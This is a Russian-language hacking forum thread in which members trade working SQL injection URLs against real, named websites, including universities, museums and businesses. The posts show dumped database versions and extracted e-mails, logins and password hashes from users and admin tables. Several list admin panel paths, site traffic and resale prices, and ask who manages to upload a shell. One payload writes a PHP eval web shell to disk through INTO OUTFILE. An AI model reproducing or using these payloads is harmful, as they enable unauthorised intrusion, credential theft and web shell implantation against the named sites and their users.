SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Vip77

    Vip77 Elder - Старейшина

    Joined:
    29 Sep 2012
    Messages:
    281
    Likes Received:
    55
    Reputations:
    20
    http://russianamerica.com/common/arc/TV_2.php?header=y&id=999999.9' union all select (select concat(0x27,0x7e,unhex(Hex(cast(users.e_mail as char))),0x5e,unhex(Hex(cast(users.password as char))),0x27,0x7e) from `cmn`.users limit 0,1) ,0x31303235343830303536 and 'x'='x

    100к юзеров

    http://russianamerica.com/users/
     
    4 people like this.
  2. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.msufoundation.com/news/mprint/image.php?event= -1+union+select+1,2,3,4,@ @version,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28--
    4.1.14
     
    2 people like this.
  3. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    South Africa Express Petroleum

    Code:
    http://expresspetroleum.co.za/page.php?id=-3+union+select+1,2,3,4,5 ,6,7,co ncat_w s (0x3a,version( ),user(),d atab ase()),9,10--
    5.1.41-3ubuntu12.10:express@localhost:express
     
    1 person likes this.
  4. Vip77

    Vip77 Elder - Старейшина

    Joined:
    29 Sep 2012
    Messages:
    281
    Likes Received:
    55
    Reputations:
    20
    тИЦ 5500
    PR 9

    http://www.nlr.ru/cms_nlr/md/vid_news_md.php?id=1680 LIMIT 0,1 UNION ALL SELECT NULL,NULL,CONCAT(0x3a646c6d3a,IFNULL(CAST(activ AS CHAR),0x20),0x207C20,IFNULL(CAST(date_zgr AS CHAR),0x20),0x207C20,IFNULL(CAST(dop_inf AS CHAR),0x20),0x207C20,IFNULL(CAST(email AS CHAR),0x20),0x207C20,IFNULL(CAST(fname AS CHAR),0x20),0x207C20,IFNULL(CAST(id AS CHAR),0x20),0x207C20,IFNULL(CAST(id_creator AS CHAR),0x20),0x207C20,IFNULL(CAST(id_podr AS CHAR),0x20),0x207C20,IFNULL(CAST(id_staff AS CHAR),0x20),0x207C20,IFNULL(CAST(login AS CHAR),0x20),0x207C20,IFNULL(CAST(mname AS CHAR),0x20),0x207C20,IFNULL(CAST(nick_podr AS CHAR),0x20),0x207C20,IFNULL(CAST(pass AS CHAR),0x20),0x207C20,IFNULL(CAST(sname AS CHAR),0x20),0x207C20,IFNULL(CAST(tel AS CHAR),0x20),0x207C20,IFNULL(CAST(type AS CHAR),0x20),0x3a6271793a),NULL,NULL FROM guk_cms_nlr.users#
     
    2 people like this.
  5. hcsell1

    hcsell1 New Member

    Joined:
    6 Feb 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    http://www.leontief-centre.ru/news/news.php?news_id=455
    http://analitika.kamdolina.ru/news.php?news_id=59
    http://www.spbtei.ru/news/news.php?news_id=110
     
  6. ukrpunk

    ukrpunk Member

    Joined:
    31 Oct 2011
    Messages:
    47
    Likes Received:
    14
    Reputations:
    5
    http://indianrays.com/technology_details.php?news=Porn,%20gambling%20websites%20safer%20than%20search%20engines,%20social%20networking%20sites&id=-12+union+select+1,2,user(),4,5,6,7,8,9,10,11--

    если верить cypr.com, на том ip 100 сайтов.
    ЗЫ кто зальется - отпишите в пм)
     
    1 person likes this.
  7. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.leci.ie/course-details.php?id=-23+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11--
     
  8. OctopuS

    OctopuS New Member

    Joined:
    6 Feb 2013
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    http://www.aoifeonline.com/news.php?id=9999999+UNION+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8+--+

    http://www.moslerauto.com/news.php?id=9999+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13+--+
     
    1 person likes this.
  9. ukrpunk

    ukrpunk Member

    Joined:
    31 Oct 2011
    Messages:
    47
    Likes Received:
    14
    Reputations:
    5
    pr5
    www.islandconservation.org/news/article.php?id=17+union+select+1,2,version(),4,5,6,7,8--


    ЗЫ кто зальется стукните в пм
    ЗЫЫ скиньте мануал как скулю 4 версии раскручивать без информейшн схемы

    www.gvox.com/news.php?id=17+group+by+7--
     
    #15289 ukrpunk, 13 Feb 2013
    Last edited: 13 Feb 2013
    2 people like this.
  10. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    ssristories.com ~75k трафа
    Code:
    ssristories.com/show.php?item=-4339+union+select+1,concat_ws(0x3a,version(),user(),database())+--+
    Code:
    4.0.27--maxd0-log:[email protected]:db169558735
    imamreza.net PR-5 ~4k трафа
    Code:
    www.imamreza.net/eng/imamreza.php?id=-6673)+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5+--+
    Code:
    5.0.75-log:imamrezanet@localhost:imamrezanet
    socialwork.wayne.edu PR-5 ~4.5k трафа
    Code:
    socialwork.wayne.edu/faculty/bio.php?id=44814+and+5=substring(version(),1,1)+--+
    stg.brown.edu PR-6 ~4k трафа
    Code:
    www.stg.brown.edu/projects/CreativeNonfiction/page_display.php?id=1000085+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9+--+
    Code:
    4.1.22:prospect@localhost:prospect
     
    2 people like this.
  11. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    тИц : 20
    PR : 7
    http://www.bbkingblues[dot]com/bio.php?id=-2342+union+select+1,2batabase(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52
    Админка : /admin
    Есть возможность вывода таблиц - есть таблица с пользователями и заливка шелла .
     
    1 person likes this.
  12. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    PR : 7
    http://www.columbiamnc.org/bio.php?id=-3+union+select+1,2,3,4,5,6,concat(user,ox3a,password),8,9,10,11,12,13,14,15+from+login
     
  13. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    http://www.nabokovmuseum.org/news.php?id=-260+union+select+1,concat(user_login,0x3a,user_pass),3,4,5,6,7+from+wp_users
     
  14. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    Стоимость сайта : 146$
    Но пароль надо брутить ( маленькая защита от любителей халявы ).
    http://www.moreanartscenter.org/news.php?id=-3122+union+select+1,concat(login_username,0x3a,login_password,0x3a,login_email),3,4,5,6,7,8,9,10,11,12+from+login+limit+0,1
    Админка : http://www.moreanartscenter.org/admin/login.php
     
  15. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    http://www.cac-acc.org/news.php?id=-108+union+select+1,email,3,4,5,6,7,8,9,10,11,12,13,14,15+from+7t_saoluis
    Цена : 156$
    Вывел не все таблицы!
     
  16. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    http://foros.tneu.edu.ua/news.php?id=-3857+union+select+1,login,3,4,5,6,7,8+from+login
     
  17. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    http://inter-climat.com.ua/news.php?id=-7+union+select+1,'%3C?php%20eval($_REQUEST[cmd]);?%3E',3,4,5+from+mysql.user+into+outfile+'D:%5CPEiD%5Cexternal.txt'--
    заливка шела парва есть :)
     
  18. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    kinoafisha.ru, тиЦ 375, пр 4
    Code:
    http://www.kinoafisha.ru/wf/branch.php?id_br=-797515+union+select+version(),2,3,4,5,version(),7,8,9,10,11,12--
    5.1.66-cll
     
    1 person likes this.
  19. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Code:
    http://www.veinlistings.com/link.php?id=-5+union+select+1,group_concat(username,0x3a,password),3,4,5,6+from+admin--+m
     
  20. ~nero~

    ~nero~ Member

    Joined:
    3 Jul 2012
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    Красноярский Городской Сайт

    Code:
    http://www.kgs.ru/dom/index.php?street_id=0&price=&search=&topic_id=0&city_id=0&district_id=0&metro_id=99999999*(select+min(0)+from+(select+@:=1+union+select+2)x+group+by+concat((select+version()),0x0,@:=!@))
    Яндекс тИЦ (CY) 325
    Alexa Rank 316,685
    Google PageRank (PR) 4
    Кто зальется, отпишите в личку
     
    1 person likes this.
Thread Status:
Not open for further replies.